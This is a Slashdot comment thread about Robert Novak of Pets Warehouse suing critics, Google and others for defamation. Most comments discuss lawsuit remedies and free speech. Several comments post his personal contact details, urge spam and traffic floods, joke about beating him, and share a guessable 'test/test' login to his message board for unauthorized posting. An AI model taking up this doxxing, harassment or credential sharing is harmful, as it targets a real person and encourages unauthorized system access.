    We already have ways to do that. I can't speak for the US but I imagine it's similar - there are all sorts of ways to get a frivolous lawsuit killed quickly. In B.C., you can move to strike the pleadings if they are frivolous, embarassing, improper under the rules of court, or disclose no cause of action. You can apply for a summary trial which will go very quickly and bet set down early (no witnesses, just affidavits and documents). If the claim has no merit, you can move for summary judgment (no trial required at all).

    But the best thing in Canada is that we have a two way costs system: loser pays the other sides costs. Not their actual costs, but ~half of them, based on set rates set from time to time for each type of procedural step. Important or difficult cases get higher costs. If the guy REALLY cheesed off the judge, they can award solicitor-client costs (you pay the other guy's lawyer bill). Exceptions to the principle are made for public-interest litigation.

    Tends to cut down on the number of frivolous cases rather a lot. If it doesn't, the Court occasionally (very rarely) orders that a person be barred from filing any more suits without permission of the court.

    --
    MHO. YMMV. Any resemblance between this post and real persons, or reality in general, was accidental.
  76. Don't look now... by Junior+J.+Junior+III · · Score: 2, Funny
    But I think we may have discovered what those ????'s in the old
    1. Start up a web-based company.
    2. ?????
    3. Profit!
    chain stand for.
    --
    You see? You see? Your stupid minds! Stupid! Stupid!
  77. Re:Really...Add ME! by MadBurner · · Score: 0

    Hey add me to the defendants list. Pet Warehouse sucks!

  78. Why not counter sue? by greymond · · Score: 1

    This guy is obviously trying to manipulate the law for his own benefit. He's probably arguing that the posts were slander, which is a pretty loose law when it comes to the internet with room for debate. I just can't belive that he has actually gotten away with taking money from babies (those that gave in) as it were. Someone should file a counter suit for the same amount and the replacement of what was taken by those people who lost a few grand or their domain names.

    Just just defend yourself - strike back! Otherwise it will just keep happening.

  79. Surely.. by tjensor · · Score: 1

    Robert Novak is representing himself in this lawsuit, and thus it is effectively costing him nothing to persue this campaign of harassment.

    Surely this only applies till he loses to someone like Google - who then get costs awarded to them? Then he's looking down the long road to bancruptcyville.

    --
    <fnord>OBEY</fnord>
  80. Slashdot added? by PhreakinPenguin · · Score: 1

    Great now with Slashdot adding a story, they're getting nailed in round 4. And then my mom in round 5 because she reads Slashdot. And then her sister in round 6 because she's related to my mom...and so on, and so on...

    --


    My sig of choice is Marlboro
    1. Re:Slashdot added? by Anonymous Coward · · Score: 0

      they're getting nailed in round 4. And then my mom in round 5

      What do you mean "then"? I already nailed her!

  81. Don't give the Chinese any bad ideas by mgs1000 · · Score: 1

    Next thing you know, the Chinese government will sue Google for linking to "subversive" content.

  82. The outrage-- by mtrupe · · Score: 1

    Why are we outraged about this? Obviously because we should be: its an attempt to supress free speach. What I want to know is why it appears nobody is upset about Campaign Finance Reform laws that state that private citizens will not be allowed to speak out against a politician 60 days prior to election. Its no different. We need to keep up the free speach fight- on all fronts!

    1. Re:The outrage-- by Anonymous Coward · · Score: 0

      I'm upset about it, if that makes you feel any better.

    2. Re:The outrage-- by mtrupe · · Score: 1

      It does.
      Thanks.

  83. I don't understand by luuc · · Score: 1

    I don't understand how you can sue someone for saying something about someone... How does this shit get to court? If there was any sense in the world lawsuits like this would be laughed away. I'm not sure what the discussions against Pets Warehouse where, but surely this is just free speech. Wait, I forgot, that was outlawed years ago.

  84. I thought this was why we had judges! by mekkab · · Score: 5, Funny

    IANALBMWISTBO, (I am not a lawyer, but my wife is studying to be one: Why does this deserve an acronym? becuase this makes me a VERY dangerous person to have a conversation about: I know just enough legal terms to sound like a pro to the unwashed masses, and to sound like a total moron to the bar association)

    But here goes: SUMMARY JUDGEMENT.
    You can file suits till the cows come home... BUT WTF?! Summons, subpoena, discovery, WITH NO PRIMA FACIA CASE!

    How is he gonna establish jurisdiction?! Suing google?
    Whatever-
    SECTION 11 of fed civil procedure for FRADULENTLY suing for defamation... and judges can fine people for filing frivilous suits!

    Challenge this biatch and get him slapped the fuck down.

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
    1. Re:I thought this was why we had judges! by JordoCrouse · · Score: 1

      You can file suits till the cows come home... BUT WTF?! Summons, subpoena, discovery, WITH NO PRIMA FACIA CASE!

      You obviously don't understand how this works... :)

      These things don't ever make it in front of a judge. The DMCA has never been challenged in court, but we are afraid of it. Why? Because by simply by having papers filed against you, you are dragged down in to the third level of hell.

      Lawyers today are taught that the worst thing that can happen to you is that you will actually have to argue a case in court. Heaven forfend that you actually have to argue a case in front of a judge - that sort of crap is only for Law & Order on TV.

      Instead you get paperwork out the wazzo, all billed at 200 dollars an hour. Few companies, every the very rich are willing to even deal with it.

      Wonder why Sony bent over backwards with a 30 million dollar check for the JPEG royalties? As sad as it may seem, that was actually a better way out than fighting it in court. Can you belive that? Its easier to pay somebody blood money than to sue them.

      And before I get flamed for being anti-lawyer, let me just say that I don't blame this on any individual lawyer. This is your job, and you do it well. Its not your fault, you use the tools that you are given.

      --
      Do you have Linux and a DotPal? Click here now!
    2. Re:I thought this was why we had judges! by Anonymous Coward · · Score: 0
      I know just enough legal terms to sound like a pro to the unwashed masses
      ...
      Challenge this biatch and get him slapped the fuck down.

      Yeah, you got that legal jargon down pat. Fooled me anyways!

    3. Re:I thought this was why we had judges! by mekkab · · Score: 2

      Serious, stick a "Your honor" around it and there you go!

      Actually I should have said SLAPPed the fuck down-
      as in SLAPP legislation... but you know what I meant.

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    4. Re:I thought this was why we had judges! by Anonymous Coward · · Score: 0
      The DMCA has never been challenged in court

      This will be interesting news to Eric Corley of 2600, who was ruled against by Judge Kaplan based upon DMCA.

  85. Slashdot next to be sued? by SoCalChris · · Score: 1

    For bringing down his server :)

  86. Hey, RIAA - you need to hire this guy! by FyRE666 · · Score: 5, Interesting
    Well his site's slowing down a bit now. All it should take would be most of us to keep hitting reload and his bandwidth charges should help suck up some of his "victory" money ;-)

    Let's hope that no spammers pick up on his email address or mailing details:

    Robert Novak - bob@petswarehouse.com
    Pets Warehouse
    1550 Sunrise Hwy
    Copiague, ny 11726
    US
    Phone - 631-789-5400
    Fax - 631.789.9340


    Honestly though, how can a piece of sh*t like this guy keep taking up court time with these suits? Espscially with news sites that are merely reporting the proceedings of cases? It's ridiculous - I'm sure the RIAA are already sending him job application forms so he help them in their quest to crack down on freedom and the causes of freedom!
    1. Re:Hey, RIAA - you need to hire this guy! by RobertKozak · · Score: 1


      As a personal rule I never trust a guy named Bob.

      -- Robert Kozak

      --
      Bet this .sig looks familiar.
    2. Re:Hey, RIAA - you need to hire this guy! by Amazing+Quantum+Man · · Score: 2

      As a personal rule I never trust a guy named Bob.

      -- Robert Kozak


      Why do I have a hard time trusting that statment? :-P

      --
      Fascism starts when the efficiency of the government becomes more important than the rights of the people.
    3. Re:Hey, RIAA - you need to hire this guy! by Dalcius · · Score: 2

      Hurry! Someone sign this guy up for a hotmail account! =)

      --
      ~Dalcius
      Rome wasn't burnt in a day.
    4. Re:Hey, RIAA - you need to hire this guy! by Night0wl · · Score: 1

      the funny thing is, is if he does sue slashdot, and take his no legal fee's the distance. He could, In theory, sue

      Slashdot, for providing the forum for the slander to happen.
      Every individual who badmouthed the stupid fucker.
      All the various internet related companies who carried the traffic, from major carriers to the mom & pop ISP's.

      Hell, Even Al Gore, for making the internet.

      --
      Computational Madness in a round package.
    5. Re:Hey, RIAA - you need to hire this guy! by Anonymous Coward · · Score: 0
    6. Re:Hey, RIAA - you need to hire this guy! by leuk_he · · Score: 2

      it's totally down now(at least for the last 4 hours before this posting)

      10060 Connection timed out

  87. -=Insert Subject =- by Cervantes · · Score: 5, Insightful

    You know, I was going to post something informative or maybe even (+3 Insightful), but this nausious feeling just won't go away. I can understand suing someone for libel ... even if I do think it's just customers sharing their experiences. Considering the net-based nature of his business, people posting in online forums about how bad he is would strike me the same as people marching outside the front door of the local pet store carrying signs and shouting slogans. But to then start suing the people who carried news of the origional lawsuit? Or the ones who carried the ad banners for the legal defense fund? What's next, sue the WayBack machine? Sheesh... sounds like someone isn't selling enough Kibbles n' Bits to pay the bills...

    I hope the good folks at Google countersue him, and I also hope that this spurs all the people who've had bad experiences with this place to file a group or class-action lawsuit, and I hope it hurts him good.

    Does anyone know the results of the origional lawsuits? (not including the &*%(#&'s who settled)

    And does anyone have the links to the legal defense fund, and any of the BB's that posted the comments? They deserve links on my homepage (made and hosted in Canada, where we don't take this kinda crap, eh?)

    Now, I'm going to write the nice man an email explaining why I'll be boycotting his business, and why I'll be encouraging others to as well. Shouldn't you, too? If you have enough time to post on /., then you have enough time to do this as well.

    (Sig 0.5b)
    I'll defend your right to spew fruitless venom and baseless idiocy with my dying breath, just as you must defend my right to call you an asshole.

    --
    If I knew the wedgies I gave you back in 6th grade would have resulted in this . . . I might have taken a moments pause.
    1. Re:-=Insert Subject =- by Eppie · · Score: 2, Informative

      Libel Resource Defense Center definition of libel.

    2. Re:-=Insert Subject =- by Anonymous Coward · · Score: 0

      > Does anyone know the results of the origional
      > lawsuits? (not including the &*%(#&'s who
      > settled)

      This *is* the original lawsuit. Novack has modified the filing a couple of times, but the suit has not been heard in court yet.

  88. Sue Slashdot? by suwain_2 · · Score: 2

    The site is really slow...

    Can you guess what major news site he'll probably sue next? :)

    --
    ________________________________________________
    suwain_2 :: quality slashdot p
  89. In related news... by Anonymous Coward · · Score: 0

    As a result of litigation now directed at /. due to this post's mention of Pet Warehouse, /. will be hosting Pet Warehouse banners and soon be renamed Pet /. providing poor qaulity pet and nerd related services to a fearful public.

  90. From what I've heard by antis0c · · Score: 3

    Being involved in the Aquaria community for years, I've heard essentially that this is one of those guys that liked to sue people (obviously). But he's one of those guys if you give him any critism he thinks its slander or liable, and sues. Apparently he is entirely unaware of freedom of speech and the difference between critism and slander. If he provides bad service, and people tell about it, thats critism. If he provides excellent service, and people lie to say he provided poor service, thats slander. I sure hope some of these people counter-sue, and get lawyers to do it.

    He's just milking settlements, its digusting.

    --

    ..There's a-dooin's a-transpirin'
    1. Re:From what I've heard by Anonymous Coward · · Score: 0

      But the ratbastard libels and slanders other businesses on line.

      Look at flyingfish on Rec.aquaria on a goggle search.

      Novak poses as a customer not happy with the service of this competitor and then gets totally busted on the mailing list when they find out iot's not a real customer but Novak slandering another business.
      Pure classic slime.

      I want rights but you are not allowed to have them!

      "I will sue /. next!"

    2. Re:From what I've heard by Anonymous Coward · · Score: 0

      That approach to profitability (milking slander settlements) is greatly improved by operating a company that actually does suck. Otherwise you won't be able to find people to sue.

  91. Best response to this kind of behavior? by jtharpla · · Score: 1

    E-business screws consumer
    Consumer posts experience on Internet
    E-business sues everyone
    Story makes front page of Slashdot
    Site is /.ed almost immediately, looses a day's worth of business
    ???
    Profit! :-)

  92. dole budgers/pensioners should slander him by DABANSHEE · · Score: 5, Funny

    Remember it doesn't pay to sue people on welfare.

    1, many don't respond to non-personal mail.

    2, half of them pretend their just some flatmate if a stranger such as a bailife or summons server knocks on the door. It becomes habit through years of not paying traffic fines & getting cought on the train without a ticket.

    3, they've got bugger all assets, at most maybe a old unregisted car that's either seeing out its days as a shed in the front yard, or, but for a old coat hanger & some bog, is due to see out its days as a shed in the front yard.

    4, you can't garnish their incomes.

    I know, I've been sued 3 times, & in each case they just gave up.

    1. Re:dole budgers/pensioners should slander him by Anonymous Coward · · Score: 0

      Great post! Dumb question for you from a yank: what is "bog" as it relates to keeping a battered old car running (if I understood that right)? Thanks.

    2. Re:dole budgers/pensioners should slander him by sammy+baby · · Score: 2
      4, you can't garnish their incomes.

      You can't garner their incomes, I think you mean. Unless you intend to include a sprig of parsley with their paychecks?

    3. Re:dole budgers/pensioners should slander him by adam613 · · Score: 2

      No, parent post was correct. If you are required by law to pay money to someone (court settlement, child support, alimony, taxes, etc) and you don't do so, the court can garnish your wages, meaning that they money you are suposed to be paying is deducted from your paycheck befor you recieve it.

    4. Re:dole budgers/pensioners should slander him by mobets · · Score: 1

      Just another instance of using a positive word for a negative action. [whiney voice] but is sounds good...

      --

      It was me, I did it, I moved your cheese
    5. Re:dole budgers/pensioners should slander him by c13v3rm0nk3y · · Score: 1

      I couldn't figure out this use of the word "bog" from the context either.

      I know it as a synonym for "maximally", "ultimately" or "absolutely" as in "bog-stupid". I also know it's used as a noun as a synonym for what we North Americans call the "bathroom". (e.g., "Where are the girls? Oh, they're gassing in the bog" [talking in the toilet])

      Not sure of the meaning in this case, though.

      --
      -- clvrmnky
    6. Re:dole budgers/pensioners should slander him by d_i_r_t_y · · Score: 1

      actually no, the parent post wasn't correct... the correct verb is to garnishee one's wages, referring to the legal diversion of (some of) one's paycheck as recompense for a default in due payment to a debtor.

    7. Re:dole budgers/pensioners should slander him by Zaak · · Score: 1

      Not sure of the meaning in this case, though.

      Perhaps it's short for "bog roll", meaning toilet paper?

      TTFN

  93. what this guy needs by jachim69 · · Score: 0, Offtopic

    This Novak asshole needs to be bitch-slapped.

  94. Nice, but not to be confused with... by mojotek · · Score: 5, Informative

    Hopefully this won't have a negative affect on another online Pet store: Drs. Foster and Smith's Pet Warehouse. Their website being "www.petwarehouse.com" and this buffoon's being "www.petswarehouse.com".

    In my experience, they are a very reliable source for all kinds of supplies, and it would be a shame for people to associate their site with this litigation crazy moron.

    1. Re:Nice, but not to be confused with... by ottffssent · · Score: 2
      ...it would be a shame for people to associate their site with this litigation crazy moron.


      Shame? It's not a shame if you're the Pet Warehouse lawyer who gets to sue Pets Warehouse for each and every piece of dirisive email misdirected to you, and for any drop in share price (if applicable), revenue, market share, etc. for the next six months. No, I would have to say it's not a shame at all.

      Is it any wonder there are more lawyers per capita in the USA than anywhere else?
  95. This guy sucks... by mtrupe · · Score: 0

    but at least he has a profitable business model, unlike all the failing dot-coms!!!

  96. This could be the lawsuit that takes him down. by nobodyman · · Score: 2

    The folks that Novak has gone after in the past did not have vast amounts of money to fight. It seems that taking on "The Google" might end up being his downfall. I've heard that they have a few dollars.

  97. NOT A TROLL, its FUNNY YOU FUCK! by mekkab · · Score: 0, Offtopic

    Dumb-ass moderator. Whoops, he might sue me! Thats right, I got karma to burn!

    But back on topic-
    The only reason why Novak is "flush" is that he intimidated people into settling and giving up "all their base"

    Let this go to court- infact, YOU don't even need a lawyer, represent yourself PRO SE, and just let the judge throw it out.

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
    1. Re:NOT A TROLL, its FUNNY YOU FUCK! by Anonymous Coward · · Score: 0

      Well, I didn't think it was that funny, either, to be honest. Definitely not worth your bizarre little rant...

    2. Re:NOT A TROLL, its FUNNY YOU FUCK! by mekkab · · Score: 1, Flamebait

      fuck you and your anonymous ass.
      get a fucking nick you coward.

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
  98. I can just picture this guy... by Anonymous Coward · · Score: 0

    ...he's like the guy in the movie that's the rich yuppie prick and someone spills water all over him at an affluent party and everyone laughs at him and he backs out of the room, cocktail in hand, and starts screaming "STOP!! STOP IT!! STOP LAUGHING!! I'LL SUE YOU!! I'LL SUE YOU ALL!! I'LL SUE THIS COUNTRY CLUB!!" (points at president of country club) "ESPECIALLY YOU!!"

  99. Treatment of Abusive Litigants by Gefiltefish11 · · Score: 4, Insightful


    This is an interesting case and I hope that the courts will take action to address these abusive legal actions. There are actually mechanisms in the law to accomplish this, ranging from a court order barring a litigant from filing further motions or actions on a certain issue to a court declaration that a litigant is characteristically abusive (I can't recall the term for this, but it is assuredly legal latinate). The latter requires the censured litigant to gain court approval before filing any further actions.

    Check out the following case; it's very interesting.

    http://www.law.fsu.edu/library/flsupct/sc94012/op- sc93573.pdf

    1. Re:Treatment of Abusive Litigants by 91stst · · Score: 1

      Novak was able to consolidate the case in federal court. "It's only five miles for me," he said. "All these people have to come here at their own expense."

      He is gloating about how close he lives to the court, as if it was a prize he won in 2nd grade gym class. It is clear that his intentions for filing this suit were to aim for a settlement as it is inconvienient for the defendants to attend the legal proceedings. How low can you go Novak?

    2. Re:Treatment of Abusive Litigants by catfood · · Score: 2

      ISTR the term "vexatious litigator."

    3. Re:Treatment of Abusive Litigants by Anonymous Coward · · Score: 0

      FWIW, the term is "vexatious litigant."

    4. Re:Treatment of Abusive Litigants by bad-badtz-maru · · Score: 2


      I am active in the Aquatic Plants Digest mailing list, which is where the original Novak litigation stemmed. I can tell you from firsthand experience that I would not at all be surprised if he sued every person that posted a response to this article and also sued slashdot. It is my opinion that Noval is insane. I seriously expect to receive some sort of email from him just as a result of this message, probably the typical "your comment has been noted". Note these nuts, Novak...

      maru

  100. as mentioned last time by squarefish · · Score: 2

    fuckpetswarehouse.com is available

    --
    Creationists are a lot like zombies. Slow, but powerful and numerous. And they all want to eat our brains.
  101. hmm by Anonymous Coward · · Score: 0

    yeah their plants do suck, and their service IS terrible. SoSuMi. Rofl

  102. finally. next time he's going to sue DARPA.. by kipple · · Score: 2

    ..for designing the Internet.

    what is the purpose of a lawsuit here? what do you feed on judges when they are kids, Common Sense or what?

    I should tell you.. this is one of the best kind of stories that people from all over the world tell about Americans. This is what makes a country look stupid.

    Seriously, now: what if Google just won't care about the lawsuit? Will they shut it down for that? What if google's workers won't shut it down? Will they go and kill them?

    I think civil disobedience IS an option over here.. when Judges' Common Sense reeaches zero (just for listening to such a lawsuit!), something must be done.

    I would be ashamed to live in such a country... really.. (Now I'll be modded down for that, I know. But I'll sue you :) )

    --
    -- There are two kind of sysadmins: Paranoids and Losers. (adapted from D. Bach)
    1. Re:finally. next time he's going to sue DARPA.. by Gleef · · Score: 2

      kipple wrote:

      I think civil disobedience IS an option over here.. when Judges' Common Sense reeaches zero (just for listening to such a lawsuit!), something must be done.

      As far as I know, none of these lawsuits have been looked at by a judge. You don't need a judge's approval to file a lawsuit. I really don't see any role of Civil Disobedience here beyond merely ignoring the suit and hope Novak's uninterested in spending money to push the issue.

      --

      ----
      Open mind, insert foot.
    2. Re:finally. next time he's going to sue DARPA.. by kipple · · Score: 2

      I fear that public well-known associations like Google won't even try to ignore him... if so many lawsuits are filed, it means that a lot of them are looked at by judges.

      --
      -- There are two kind of sysadmins: Paranoids and Losers. (adapted from D. Bach)
  103. Re:No, its O.K by Anonymous Coward · · Score: 0

    I have mod points. Let's see if I get sued for modding this comment as informative. Because its my opinion also and I believe its true (I heard it on slashdot.)

  104. I don't know... by clonebarkins · · Score: 1

    ...I kinda like the two-story hamster home...

    --

    "The evil of the world is made possible by nothing but the sanction you give it." -- Ayn Rand

  105. look whose next by Anonymous Coward · · Score: 0

    I bet you Slashdot will be sued next week because we have Slashdotted his site and cost him a billion dollars this time!

  106. First Amendment by bpick · · Score: 1

    What I don't understand is why isn't the ACLU helping out the defendants because if Novak (somehow) wins this lawsuit, it'd open up a pandora box for those who want to keep people shut up but cannot because of the First Amendment (Does the Church of Scientology rings a bell?). I'm more surprised by the fact that the judges haven't thrown out this lawsuit yet on the basis of the First Amendment.

    1. Re:First Amendment by lunaticmaster · · Score: 1

      Don't you remember? Didn't the Patriot act throw out the first amendment?

  107. Actually, it IS PetSwarehouse.com by SoCalChris · · Score: 3, Informative

    According to this followup post to the original complaint about them...

    http://fins.actwin.com/aquatic-plants/month.200105 /msg00213.html

    I made a rather unfortunate typo in my last message - I was referring to *Pets* Warehouse, not Pet Warehouse. My apologies (to you and to Pet Warehouse!).

  108. Still the Man, after all these years... by jazman_777 · · Score: 1

    As Will Shakespeare once wrote, "first, kill all the lawyers."

    --
    Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
    1. Re:Still the Man, after all these years... by kisrael · · Score: 2

      As Will Shakespeare once wrote, "first, kill all the lawyers."

      You keep using that phrase...I don not think it means what you think it means...

      It was said by someone who was talking about an overthrow of the government; kill all the lawyers so the people doing the illegal acts of overthrowing won't get busted.

      Funny thing, way back when there on the Usenet group rec.games.video.classic there was a big furor over another Novak, Michael J...some odd similarities in the two situations.

      --
      SO YOU'RE GOING TO DIE: The Comic for Dealing with Death
    2. Re:Still the Man, after all these years... by Rick_T · · Score: 2

      > Funny thing, way back when there on the Usenet
      > group rec.games.video.classic there was a big
      > furor over another Novak, Michael J...some odd
      > similarities in the two situations.

      Oddly enough, that's the first person *I* thought of when I heard someone named "Novak" was suing people. Now to be fair to MJN, he handled things a lot better than this other Novak seems to. MJN, if I recall correctly, just posted about other people on his web site rather than threatening to sue the whole group over it.

      This was the pre-Ebay days when auctions were conducted on USENET and discussions were in danger of being drowned out by posts of "MASSIVE AUCTIONS" posted every minute of every day. Okay, so that's a bit of an exaggeration, but ... :)

      Haven't had the time to visit that group (rec.games.video.classic) in some years, but you could at least get straight video game talk there, as opposed to silly fanboy posturing on r.g.v.sega, r.g.v.sony, and r.g.v.nintendo. Memories ...

      --
      -- Rick
  109. HEY ROBERT NOVAK! OVER HERE! by mudshark · · Score: 1

    I am going on record in a public forum to say that you, ROBERT NOVAK, are a fuckwit, a nimrod, a clueless laggard and an insufferable dwad.

    Got a problem with this, ROBERT NOVAK?

    Sue my ass. You will, of course, have the burden of proving that the things I said are not true....

    furrfu.

    --
    In other news, astrophysicists have announced that they now know what all that dark matter is: it's stupidity.
  110. There's nothing wrong with Mr. Novack... by GypC · · Score: 2

    ... that a ski mask and a baseball bat can't solve.

    Pets Warehouse, meet Sports Warehouse.

  111. I would like to see.. by geekoid · · Score: 2

    ..google get a lawyer to represent all the people who had to cave in a counter suit.
    That owuld be cool, expensive, but cool.

    --
    The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
  112. Lawyers are the scourge of the earth by Anonymous Coward · · Score: 0

    Yes,

    Its obviously far more profitable to become a lawyer and sue people than it is to become a productive member of society.

    What the owner of PetsWarehouse is doing is PERFECTLY legal. He not only has the RIGHT to sue whomsoever he pleases, but he is providing employment for several dozens of attorneys. Furthermore, he is smart in not hiring a lawyer. A lawyer would want to charge him $250-300/hr just to file the paperwork.. now why should he hire a lawyer when he is having this much success doing it on his own?

    While I do not applaud his actions, it is clearly evident that our legal system is not right when you need to spend thousands of dollars to hire a lawyer and defend yourself even before you a proven guilty.

    BTW... Trivia fact: California is the lawsuit capitol of the world.

    Trivia Fact #2: There are over 2,500,000 lawyers in the USA, with over half of them currently unemployed. Thats 1 lawyer for every 9 people. Do we really need that many lawyers?

    1. Re:Lawyers are the scourge of the earth by tomhudson · · Score: 1, Offtopic
      Well, time to go back to school and brush up on your basic math. It's more like 1 lawyer per 100 or so people.

      Or, you could become a lawyer - they don't need to know how to add - just have someone else do the billing.

    2. Re:Lawyers are the scourge of the earth by Anonymous Coward · · Score: 0

      and nightmare of nightmares, this company is from NY, which says it all. If he was from California, then this would not be an issue.

    3. Re:Lawyers are the scourge of the earth by BilldaCat · · Score: 1

      seems like almost more than that. I play on some local hockey teams here, and our 2nd line is all made up of lawyers.

      that's a thought.. send a bunch of lawyers in hockey equipment wielding sticks to this Novak guy. heh.

      --
      BilldaCat
  113. Can you explain what a big factory farmer is? by baxshep · · Score: 0

    My dad's a cattle rancher and I haven't anything remotely resembling a factory on his ranch. Of course it's in Wyoming, not Texas. Maybe they have beef "factories" in Texas that you've visited?

    1. Re:Can you explain what a big factory farmer is? by Anonymous Coward · · Score: 0
      Factory farming is a term used to describe the modern day corporate enterprise takeover of farms. Big companies own millions of cattle and acres of farmland and they make it impossible for small farmers to stay alive. Since about 1985, the number of family farmers has decreased from 8 million to one. Check out Farmaid for more information.

      The 'factory farm' term doesn't necessarily refer to factories, but mass corporate farming that's pushing the little guys out.

    2. Re:Can you explain what a big factory farmer is? by Anonymous Coward · · Score: 0

      drive from Roswell, NM to Amarillo, TX. i don't remember the highway anymore, but there are some huge factory-style cattle farms along that road.

  114. This guy IS a fucking idiot by Sam+Gibson · · Score: 1

    He's also suing the Better Business Bureau because they gave him an unsatisfactory rating. I hope Google tears this piece of shit slime a new one.

  115. The other petwarehouse, and microsoft by lunaticmaster · · Score: 2, Interesting

    There is another company Petwarehouse, who is now joined with Drs Foster and Smith. I've ordered from them, nice service, but I cannot comment on the other one. I remember reading about Petswarehouse a year ago when I was 'tricked' into going to his website countless times. around that time I saw the comments against petswarehouse and then shortly afterwards heard about the suits. If people cannot comment on a companies service without fear of being sued, Then how are people going to know when a service or product, whether hardware, software, pet, or other, is actually bad? Lmao, Microsoft could sue millions of people based on that thinking. Who knows? maybe they are planning on using your microphone to record every time you 'colorfully' complain about your windows and use it against you in a court of law.

  116. His message board! Quck before he changes it!!! by FyRE666 · · Score: 5, Funny

    What a dope:-

    login: test
    password: test

    Feel free to post your "comments" without having to give personal details to register!!!

    1. Re:His message board! Quck before he changes it!!! by Anonymous Coward · · Score: 0

      Please mod this up!

    2. Re:His message board! Quck before he changes it!!! by Anonymous Coward · · Score: 0

      So someone is gonna post a Taco-snotting FAQ only change Taco to Novak right? that would be priceless.

    3. Re:His message board! Quck before he changes it!!! by buswolley · · Score: 1
      now /. will get sued...and LOSE. mod this down.

      I don't mind getting sued, but hacking into the sytem is another can of worms

      --

      A Good Troll is better than a Bad Human.

    4. Re:His message board! Quck before he changes it!!! by nege · · Score: 1

      its not B&E if you leave the keys on the front porch, right?? o.O of course, maybe it is.

    5. Re:His message board! Quck before he changes it!!! by WIAKywbfatw · · Score: 2

      its not B&E if you leave the keys on the front porch, right?? o.O of course, maybe it is.

      No, it's not breaking and entering, but it might well be illegal entry. Just because you do no damage going in, that doesn't give you the right to entry.

      Leaving a critical system with an easy to guess password might not be quite the same as leaving the keys on the front porch but it is equally stupid. Especially so if you or anyone else may rely on the contents of that system in a legal action.

      I don't condone the publishing of the login and password but if one guy can guess it in a couple of tries then you'd have a hard time convincing a judge that the system was 100 percent secure before the details were made public.

      --

      "Accept that some days you are the pigeon, and some days you are the statue." - David Brent, Wernham Hogg
    6. Re:His message board! Quck before he changes it!!! by mark_lybarger · · Score: 2

      no, it's unlawfull entry. b&e requires something to be broken. if your doors aren't locked at all, it's unlawfull entry, not b&e

  117. /. effect saves people from getting ripped off! by Anonymous Coward · · Score: 0
    With the onslaught of /. users, this guy won't be able to rip anyone off today.


    Go ahead, mod this -1 (Redundant).

  118. jail! by Anonymous Coward · · Score: 0

    why the hell isnt this idiot locked up in jail for frivoulus lawsuits? why hasnt any of these people filed criminal charges against him?
    from what i see hes commiting extortion and suing people for using freespeech.

    people like these need to be beat to death with the cluebat or at least a nice iron pipe

  119. I guess Slashdot is next by suman28 · · Score: 1

    ...for mentioning the suit. Since he has sued everyone where his name is mentioned. Counter-sue damn it.

  120. Seinfeld episode. by DerFeuervogel · · Score: 2

    It was on FOX last night after the baseball game.
    Funny.

  121. slapback by jbolden · · Score: 2

    Actually if you can show the case was frivilous you can get legal fees + damages. Just winning isn't enough in the US.

    GE used to have a problem with environmentalists filling all sorts of frivolous actions against it. So it adobted a policy called "slap back" where it would defend itself against everyone of these fillings; show the case was frivilous and then go after the environmentalist's personal assets. The idea was deterence since GE showed itself willing to burn up $200k in legal fees to get $80k in assets in the slap back lawsuit.

    It worked very well. If more companies adobted a policy of slapback guys like Novak wouldn't exist.

    1. Re:slapback by Mr.+Slippery · · Score: 2, Informative
      GE used to have a problem with environmentalists filling all sorts of frivolous actions against it. So it adobted a policy called "slap back"

      I'm afriad you've got it mixed up. The tactic is called "SLAPP" - Strategic Lawsuit Against Public Participation - and it's widely used by large corporations to silence their critics.

      It worked very well.
      Only if you consider an outcome whereby corporate wrongdoers can operate without fear a positive outcome...

      This is almost why "loser pays" is a horrible idea. Amalgamated Profits, Inc. is poisioning your town? Under loser pays, if you try to sue and their high priced lawyers beat the ones you managed to scrape enough pennies together to hire, not only are you poisoned and broke from your own legal fees, you've got to pay Amalgamated Profits, Inc.'s fees. So you don't dare sue.

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    2. Re:slapback by jbolden · · Score: 2

      Hmmm interesting post. No I definitely meant "slap back" not SLAPP though it wouldn't suprise me if one of the techniques got the name from the other. I'm sure no corporation would admit (much less brag) about a SLAPP policy while "slap back" was on the record policy.

    3. Re:slapback by greenrd · · Score: 2
      A greenwashing PR firm probably would brag about its record of success in SLAPPing environmentalists. In suitably sugared-up language, of course.

  122. X Marks the Spot by Anonymous Coward · · Score: 0

    See

    1. Re:X Marks the Spot by Anonymous Coward · · Score: 0

      Mind forwarding that map to Suddam Hussein? I think he might have a good use for it.

    2. Re:X Marks the Spot by ShavenYak · · Score: 2

      Just don't anyone say anything about firing a "Tom Cruise" missile at him.

      --

      Hey kids, there's only 5 days left 'til Yak Shaving Day!
  123. sue me too by bberg · · Score: 1

    I just wanted to get in on this... please sue me too. jack ass!

  124. Re:NOT of topic, you fuck! ;) by mekkab · · Score: 1

    Geez, that's 2 of your 5 mod points,
    wanna make it 3??? ;)

    It's aight, I'll just get you in metamoderation!
    karma karma karma come back and burn you hard!

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
  125. He wants legal fees? by Anonymous Coward · · Score: 1, Funny

    WHEREFORE, Plaintiff demands judgment on Claim One, Claim Two and Claim Three as stated with such other and further relief as the Court deems just and proper, including an award to plaintiff of any and all reasonable attorneys fees, together with the costs and disbursements incurred in connection with this action.

    Why exactly should he get "reasonable attorneys fees" when he's representing himself?

  126. Post your opinion at Pets Wharehouse by Anonymous Coward · · Score: 0

    http://petswarehouse.infopop.cc/6/ubb.x?&a=cfrm&s= 21160954

  127. This has to be said... by Anonymous Coward · · Score: 0

    All of these lawsuits are blatantly unconstitutional. Free Speech damnit! Where's the Supreme Court when you need them?

    1. Re:This has to be said... by Matt_in_NH · · Score: 1

      It's technically not unconstitutional. The 1st amendment prevents the government from affecting your free speech ("Congress shall make no law abridging the freedom of speech, etc. etc."). It says nothing about a private citizen attempting to stop prevent the free speech of another.

  128. Re:but we need another law too!! by buswolley · · Score: 1

    The problem is we can't make it a system where the poor man never sues, becuase the rich corporations will spendten times as much on their lawyers, and will win with their better lawyers. p. We need a cap on how much you can spend per day on lawyer fees.

    --

    A Good Troll is better than a Bad Human.

  129. That's a shame by gosand · · Score: 2
